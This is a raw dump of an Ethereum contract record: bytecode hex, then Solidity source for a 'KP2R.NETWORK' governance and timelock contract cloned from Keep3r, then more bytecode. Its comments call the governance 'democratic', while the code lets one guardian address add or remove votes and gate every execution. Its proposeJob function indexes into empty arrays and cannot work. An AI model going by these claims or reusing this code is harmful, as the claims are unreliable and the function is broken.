fffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a7231582001794f11b3dd2471381072c64642d44ad41a6c993069a3219638b0ab2c791a2364736f6c634300050b0032
[ 38 ]
0xf2d30cd1cc8c272e7579f58a7ae4ca7383d645e8
// SPDX-License-Identifier: MIT /** * KP2R.NETWORK * A standard implementation of kp3rv1 protocol * Optimized Dapp * Scalability * Clean & tested code */ /** * This governance contract will govern over the ecosystem. * It has no mint() function. So it can't mint anything. * It process all proposals such a democratic way. */ pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IKeep2r { function addVotes(address voter, uint amount) external; function removeVotes(address voter, uint amount) external; function addKPRCredit(address job, uint amount) external; function approveLiquidity(address liquidity) external; function revokeLiquidity(address liquidity) external; function addJob(address job) external; function removeJob(address job) external; function setKeep2rHelper(address _kprh) external; function setGovernance(address _governance) external; function acceptGovernance() external; function dispute(address keeper) external; function slash(address bonded, address keeper, uint amount) external; function revoke(address keeper) external; function resolve(address keeper) external; function getPriorVotes(address account, uint blockNumber) external view returns (uint); function totalBonded() external view returns (uint); } contract Governance { using SafeMath for uint; /// @notice The name of this contract string public constant name = "Governance"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public _quorumVotes = 5000; // % of total supply required /// @notice The number of votes required in order for a voter to become a proposer uint public _proposalThreshold = 5000; uint public constant BASE = 10000; function setQuorum(uint quorum_) external { require(msg.sender == address(this), "Governance::setQuorum: timelock only"); require(quorum_ <= BASE, "Governance::setQuorum: quorum_ > BASE"); _quorumVotes = quorum_; } function quorumVotes() public view returns (uint) { return KPR.totalBonded().mul(_quorumVotes).div(BASE); } function proposalThreshold() public view returns (uint) { return KPR.totalBonded().mul(_proposalThreshold).div(BASE); } function setThreshold(uint threshold_) external { require(msg.sender == address(this), "Governance::setQuorum: timelock only"); require(threshold_ <= BASE, "Governance::setThreshold: threshold_ > BASE"); _proposalThreshold = threshold_; } /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks) /// @notice The address of the governance token IKeep2r immutable public KPR; /// @notice The total number of proposals uint public proposalCount; struct Proposal { uint id; address proposer; uint eta; address[] targets; uint[] values; string[] signatures; bytes[] calldatas; uint startBlock; uint endBlock; uint forVotes; uint againstVotes; bool canceled; bool executed; mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { bool hasVoted; bool support; uint votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public immutable DOMAINSEPARATOR; /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); function proposeJob(address job) public { require(msg.sender == address(KPR), "Governance::proposeJob: only VOTER can propose new jobs"); address[] memory targets; targets[0] = address(KPR); string[] memory signatures; signatures[0] = "addJob(address)"; bytes[] memory calldatas; calldatas[0] = abi.encode(job); uint[] memory values; values[0] = 0; _propose(targets, values, signatures, calldatas, string(abi.encodePacked("Governance::proposeJob(): ", job))); } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(KPR.getPriorVotes(msg.sender, block.number.sub(1)) >= proposalThreshold(), "Governance::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "Governance::propose: proposal function information arity mismatch"); require(targets.length != 0, "Governance::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "Governance::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "Governance::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "Governance::propose: one live proposal per proposer, found an already pending proposal"); } return _propose(targets, values, signatures, calldatas, description); } function _propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) internal returns (uint) { uint startBlock = block.number.add(votingDelay()); uint endBlock = startBlock.add(votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "Governance::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = block.timestamp.add(delay); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!queuedTransactions[keccak256(abi.encode(target, value, signature, data, eta))], "Governance::_queueOrRevert: proposal action already queued at eta"); _queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(guardian == address(0x0) || msg.sender == guardian, "Governance:execute: !guardian"); require(state(proposalId) == ProposalState.Queued, "Governance::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { _executeTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "Governance::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(proposal.proposer != address(KPR) && KPR.getPriorVotes(proposal.proposer, block.number.sub(1)) < proposalThreshold(), "Governance::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { _cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "Governance::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes.add(proposal.againstVotes) < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.forVotes <= proposal.againstVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= proposal.eta.add(GRACE_PERIOD)) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Governance::castVoteBySig: invalid signature"); _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "Governance::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "Governance::_castVote: voter already voted"); uint votes = KPR.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = proposal.forVotes.add(votes); } else { proposal.againstVotes = proposal.againstVotes.add(votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 1 days; uint public constant MAXIMUM_DELAY = 30 days; uint public delay = MINIMUM_DELAY; address public guardian; address public pendingGuardian; function setGuardian(address _guardian) external { require(msg.sender == guardian, "Keep2rGovernance::setGuardian: !guardian"); pendingGuardian = _guardian; } function acceptGuardianship() external { require(msg.sender == pendingGuardian, "Keep2rGovernance::setGuardian: !pendingGuardian"); guardian = pendingGuardian; } function addVotes(address voter, uint amount) external { require(msg.sender == guardian, "Keep2rGovernance::addVotes: !guardian"); KPR.addVotes(voter, amount); } function removeVotes(address voter, uint amount) external { require(msg.sender == guardian, "Keep2rGovernance::removeVotes: !guardian"); KPR.removeVotes(voter, amount); } function addKPRCredit(address job, uint amount) external { require(msg.sender == guardian, "Keep2rGovernance::addKPRCredit: !guardian"); KPR.addKPRCredit(job, amount); } function approveLiquidity(address liquidity) external { require(msg.sender == guardian, "Keep2rGovernance::approveLiquidity: !guardian"); KPR.approveLiquidity(liquidity); } function revokeLiquidity(address liquidity) external { require(msg.sender == guardian, "Keep2rGovernance::revokeLiquidity: !guardian"); KPR.revokeLiquidity(liquidity); } function addJob(address job) external { require(msg.sender == guardian, "Keep2rGovernance::addJob: !guardian"); KPR.addJob(job); } function removeJob(address job) external { require(msg.sender == guardian, "Keep2rGovernance::removeJob: !guardian"); KPR.removeJob(job); } function setKeep2rHelper(address kprh) external { require(msg.sender == guardian, "Keep2rGovernance::setKeep2rHelper: !guardian"); KPR.setKeep2rHelper(kprh); } function setGovernance(address _governance) external { require(msg.sender == guardian, "Keep2rGovernance::setGovernance: !guardian"); KPR.setGovernance(_governance); } function acceptGovernance() external { require(msg.sender == guardian, "Keep2rGovernance::acceptGovernance: !guardian"); KPR.acceptGovernance(); } function dispute(address keeper) external { require(msg.sender == guardian, "Keep2rGovernance::dispute: !guardian"); KPR.dispute(keeper); } function slash(address bonded, address keeper, uint amount) external { require(msg.sender == guardian, "Keep2rGovernance::slash: !guardian"); KPR.slash(bonded, keeper, amount); } function revoke(address keeper) external { require(msg.sender == guardian, "Keep2rGovernance::revoke: !guardian"); KPR.revoke(keeper); } function resolve(address keeper) external { require(msg.sender == guardian, "Keep2rGovernance::resolve: !guardian"); KPR.resolve(keeper); } mapping (bytes32 => bool) public queuedTransactions; constructor(address token_) public { guardian = msg.sender; KPR = IKeep2r(token_); DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function _queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) internal returns (bytes32) { require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function _cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) internal { bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function _executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) internal returns (bytes memory) { bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value:value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106103035760003560e01c8063960bfe0411610190578063da35c664116100dc578063e177246e11610095578063ec342ad01161006f578063ec342ad014610899578063f2b06537146108ae578063f75f9f7b146108db578063fe0d94c1146108fb5761030a565b8063e177246e1461082c578063e23a9a521461084c578063e74f8239146108795761030a565b8063da35c66414610782578063da95691a14610797578063dc380cbb146107b7578063ddf0b009146107d7578063de63298d146107f7578063deaaa7cc146108175761030a565b8063bb729f5c11610149578063c1ba4e5911610123578063c1ba4e5914610702578063c5198abc14610722578063ce6a088014610742578063d8ae6faf146107625761030a565b8063bb729f5c146106b8578063be4a66b6146106d8578063c1a287e2146106ed5761030a565b8063960bfe0414610619578063995e617a14610639578063ab033ea91461064e578063b1b43ae51461066e578063b58131b014610683578063b600702a146106985761030a565b806340e58ee51161024f5780636e3827b7116102085780637bdbe4d0116101e25780637bdbe4d0146105af5780637d645fab146105c457806380711989146105d95780638a0dac4a146105f95761030a565b80636e3827b71461056557806374a8f1031461057a578063762c31ba1461059a5761030a565b806340e58ee5146104bb578063452a9320146104db5780634634c61f146104f057806355ea6c471461051057806364bb43ee146105305780636a42b8f8146105505761030a565b806320606b70116102bc57806330060185116102965780633006018514610427578063328dd982146104495780633932abb1146104795780633e4f49e61461048e5761030a565b806320606b70146103e8578063238efcbc146103fd57806324bc1a64146104125761030a565b8063013cf08b1461030f57806302a251a31461034d57806306fdde031461036f57806315373e3d146103915780631778e29c146103b357806317977c61146103c85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b5061032f61032a3660046134df565b61090e565b604051610344999897969594939291906147dd565b60405180910390f35b34801561035957600080fd5b50610362610967565b6040516103449190613879565b34801561037b57600080fd5b5061038461096d565b60405161034491906138cc565b34801561039d57600080fd5b506103b16103ac36600461353b565b610993565b005b3480156103bf57600080fd5b506103626109a2565b3480156103d457600080fd5b506103626103e336600461338e565b6109c6565b3480156103f457600080fd5b506103626109d8565b34801561040957600080fd5b506103b16109fc565b34801561041e57600080fd5b50610362610aa4565b34801561043357600080fd5b5061043c610b54565b604051610344919061375c565b34801561045557600080fd5b506104696104643660046134df565b610b78565b6040516103449493929190613821565b34801561048557600080fd5b50610362610e07565b34801561049a57600080fd5b506104ae6104a93660046134df565b610e0c565b60405161034491906138b8565b3480156104c757600080fd5b506103b16104d63660046134df565b610f2b565b3480156104e757600080fd5b5061043c61127e565b3480156104fc57600080fd5b506103b161050b36600461356a565b61128d565b34801561051c57600080fd5b506103b161052b36600461338e565b6113b8565b34801561053c57600080fd5b506103b161054b36600461338e565b611463565b34801561055c57600080fd5b506103626114d9565b34801561057157600080fd5b506103626114df565b34801561058657600080fd5b506103b161059536600461338e565b6114e5565b3480156105a657600080fd5b5061043c61155b565b3480156105bb57600080fd5b5061036261156a565b3480156105d057600080fd5b5061036261156f565b3480156105e557600080fd5b506103b16105f436600461338e565b611576565b34801561060557600080fd5b506103b161061436600461338e565b6115ec565b34801561062557600080fd5b506103b16106343660046134df565b611638565b34801561064557600080fd5b506103b161167e565b34801561065a57600080fd5b506103b161066936600461338e565b6116cc565b34801561067a57600080fd5b50610362611742565b34801561068f57600080fd5b50610362611749565b3480156106a457600080fd5b506103b16106b336600461338e565b6117b0565b3480156106c457600080fd5b506103b16106d336600461338e565b611826565b3480156106e457600080fd5b5061036261189c565b3480156106f957600080fd5b506103626118a2565b34801561070e57600080fd5b506103b161071d3660046134df565b6118a9565b34801561072e57600080fd5b506103b161073d36600461338e565b6118ef565b34801561074e57600080fd5b506103b161075d3660046133e9565b611965565b34801561076e57600080fd5b506103b161077d3660046133e9565b611a13565b34801561078e57600080fd5b50610362611a8b565b3480156107a357600080fd5b506103626107b2366004613413565b611a91565b3480156107c357600080fd5b506103b16107d236600461338e565b611c77565b3480156107e357600080fd5b506103b16107f23660046134df565b611dd4565b34801561080357600080fd5b506103b16108123660046133e9565b612008565b34801561082357600080fd5b50610362612080565b34801561083857600080fd5b506103b16108473660046134df565b6120a4565b34801561085857600080fd5b5061086c61086736600461350f565b61213c565b6040516103449190614720565b34801561088557600080fd5b506103b16108943660046133a9565b6121a0565b3480156108a557600080fd5b50610362612251565b3480156108ba57600080fd5b506108ce6108c93660046134df565b612257565b604051610344919061386e565b3480156108e757600080fd5b506103b16108f636600461338e565b61226c565b6103b16109093660046134df565b6122e2565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b619d8090565b6040518060400160405280600a815260200169476f7665726e616e636560b01b81525081565b61099e338383612558565b5050565b7fe9b72f5ebde66f404fbae13858c7df44bacaf79fc3ee3529b72b1008265bdb4d81565b60046020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6006546001600160a01b03163314610a2f5760405162461bcd60e51b8152600401610a2690613c9d565b60405180910390fd5b7f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd16001600160a01b031663238efcbc6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610a8a57600080fd5b505af1158015610a9e573d6000803e3d6000fd5b50505050565b6000610b4f612710610b496000547f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd16001600160a01b03166344d96e956040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0b57600080fd5b505afa158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4391906134f7565b90612715565b90612756565b905090565b7f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd181565b60608060608060006003600087815260200190815260200160002090508060030181600401826005018360060183805480602002602001604051908101604052809291908181526020018280548015610bfa57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610bdc575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610c4c57602002820191906000526020600020905b815481526020019060010190808311610c38575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610d1f5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610d0b5780601f10610ce057610100808354040283529160200191610d0b565b820191906000526020600020905b815481529060010190602001808311610cee57829003601f168201915b505050505081526020019060010190610c74565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610df15760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610ddd5780601f10610db257610100808354040283529160200191610ddd565b820191906000526020600020905b815481529060010190602001808311610dc057829003601f168201915b505050505081526020019060010190610d46565b5050505090509450945094509450509193509193565b600190565b60008160025410158015610e205750600082115b610e3c5760405162461bcd60e51b8152600401610a269061452a565b6000828152600360205260409020600b81015460ff1615610e61576002915050610f26565b80600701544311610e76576000915050610f26565b80600801544311610e8b576001915050610f26565b610e93610aa4565b600a8201546009830154610ea691612798565b1015610eb6576003915050610f26565b80600a0154816009015411610ecf576003915050610f26565b6002810154610ee2576004915050610f26565b600b810154610100900460ff1615610efe576007915050610f26565b6002810154610f109062127500612798565b4210610f20576006915050610f26565b60059150505b919050565b6000610f3682610e0c565b90506007816007811115610f4657fe5b1415610f645760405162461bcd60e51b8152600401610a2690613dd2565b600082815260036020526040902060018101547f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd16001600160a01b0390811691161480159061106c5750610fb6611749565b6001808301546001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd181169263782d6fe19290911690610ffd9043906127bd565b6040518363ffffffff1660e01b815260040161101a929190613770565b60206040518083038186803b15801561103257600080fd5b505afa158015611046573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106a91906134f7565b105b6110885760405162461bcd60e51b8152600401610a26906143d2565b600b8101805460ff1916600117905560005b6003820154811015611241576112398260030182815481106110b857fe5b6000918252602090912001546004840180546001600160a01b0390921691849081106110e057fe5b90600052602060002001548460050184815481106110fa57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156111885780601f1061115d57610100808354040283529160200191611188565b820191906000526020600020905b81548152906001019060200180831161116b57829003601f168201915b505050505085600601858154811061119c57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561122a5780601f106111ff5761010080835404028352916020019161122a565b820191906000526020600020905b81548152906001019060200180831161120d57829003601f168201915